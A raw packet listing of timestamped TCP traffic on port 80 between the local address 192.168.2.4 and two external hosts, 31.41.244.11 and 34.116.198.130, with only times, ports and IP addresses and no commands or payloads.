Nov 24, 2024 12:24:29.169234991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.169825077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.169868946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.169930935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.170285940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.170330048 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.170341969 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.170370102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.170721054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.170824051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.170875072 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.171384096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.171515942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.171530962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.171588898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.171622992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.171653032 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.172369003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.172456980 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.172463894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.172508955 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.172524929 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.172569990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.173264027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.173398972 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.173446894 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.173598051 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.173641920 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.173742056 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.174011946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.174083948 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.174084902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.174122095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.174699068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.174756050 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.174859047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.174875021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.174909115 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.174927950 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.174937963 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.175657034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.175775051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.175827026 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.175836086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.175852060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.175899029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.176512957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.176557064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.176681995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.176909924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.176924944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.176949024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.176980972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.177320957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.177434921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.177479029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.178169966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.178304911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.178355932 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.179009914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.179069042 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.179095984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.179826021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.179878950 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.179915905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.180680037 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.180799007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.180850983 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.181499004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.181621075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.181673050 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.182437897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.182485104 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.182630062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.183159113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.183207989 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.183208942 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.184010983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.184062004 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.184122086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.184814930 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.184935093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.184986115 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.185682058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.185791969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.185843945 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.186512947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.186580896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.186625004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.187308073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.187424898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.271439075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.271562099 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.271610975 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.271754026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.271919012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.271936893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.271958113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.272789955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.272840977 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.272883892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.273583889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.273624897 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.273694992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.274437904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.274476051 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.274547100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.275270939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.275319099 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.275346994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.276120901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.276180029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.312030077 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.312100887 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.312122107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.312195063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.312503099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.312550068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.312601089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.312645912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.313582897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.313631058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.313711882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.313760042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.314713955 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.314763069 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.314912081 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.314959049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.315828085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.315876961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.315943003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.315989017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.316960096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.317008972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.317030907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.317075014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.318021059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.318067074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.318114042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.318171978 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.319200039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.319252014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.319292068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.319340944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.320220947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.320282936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.320328951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.320374012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.321311951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.321360111 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.321489096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.321538925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.322508097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.322668076 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.322715998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.322792053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.323546886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.323591948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.323640108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.323684931 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.324651957 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.324701071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.324851036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.324898005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.325764894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.325813055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.325911999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.325957060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.326853991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.326899052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.326994896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.327039957 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.327969074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.328015089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.328052044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.328093052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.329068899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.329118013 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.329164028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.329207897 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.330184937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.330224037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.330271006 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.330312014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.331306934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.331342936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.331410885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.331449986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.332443953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.332490921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.332531929 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.332572937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.333532095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.333574057 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.333666086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.333704948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.334602118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.334654093 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.334697962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.334741116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.335700989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.335747004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.335894108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.335939884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.336827040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.336874008 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.336920023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.336961985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.337918043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.337960958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.337985039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.338026047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.339025021 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.339076042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.339121103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.339159966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.340132952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.340173960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.340210915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.340249062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.341238022 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.341279030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.341325045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.341365099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.342365026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.342405081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.342509031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.342564106 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.343472004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.343513012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.343559980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.343600035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.344546080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.344588995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.344660044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.344697952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.345729113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.345769882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.345858097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.345918894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.346745014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.346786022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.346860886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.346899033 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.347877979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.347919941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.347968102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.348006010 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.348961115 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.349005938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.349098921 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.349138975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.349255085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.349272013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.349308968 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.349678993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.349805117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.349852085 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.350076914 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.350128889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.350177050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.350218058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.350491047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.350543022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.350593090 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.351183891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.351233959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.351305962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.351345062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.351383924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.352303028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.352356911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.352402925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.352442026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.353408098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.353450060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.353542089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.353581905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.353692055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.353734016 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.353888035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.354127884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.354171991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.354181051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.354552984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.354602098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.354635000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.354674101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.354963064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.355020046 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.355083942 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.355655909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.355705023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.355781078 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.355823040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.355861902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.355879068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.355901957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.356636047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.356688023 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.356736898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.356753111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.356791019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.356889963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.356934071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.357443094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.357491016 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.357618093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.357816935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.357860088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.357888937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.357930899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.358297110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.358349085 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.358417988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.358931065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.358983040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.359060049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.359102964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.359142065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.359158039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.359181881 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.359970093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.360028028 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.360032082 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.360049963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.360096931 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.360126019 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.360167980 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.360795021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.360836983 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.360898972 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.361162901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.361201048 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.361247063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.361287117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.361622095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.361665964 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.361738920 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.362242937 CET	80	49793	31.41.244.11	192.168.2.4
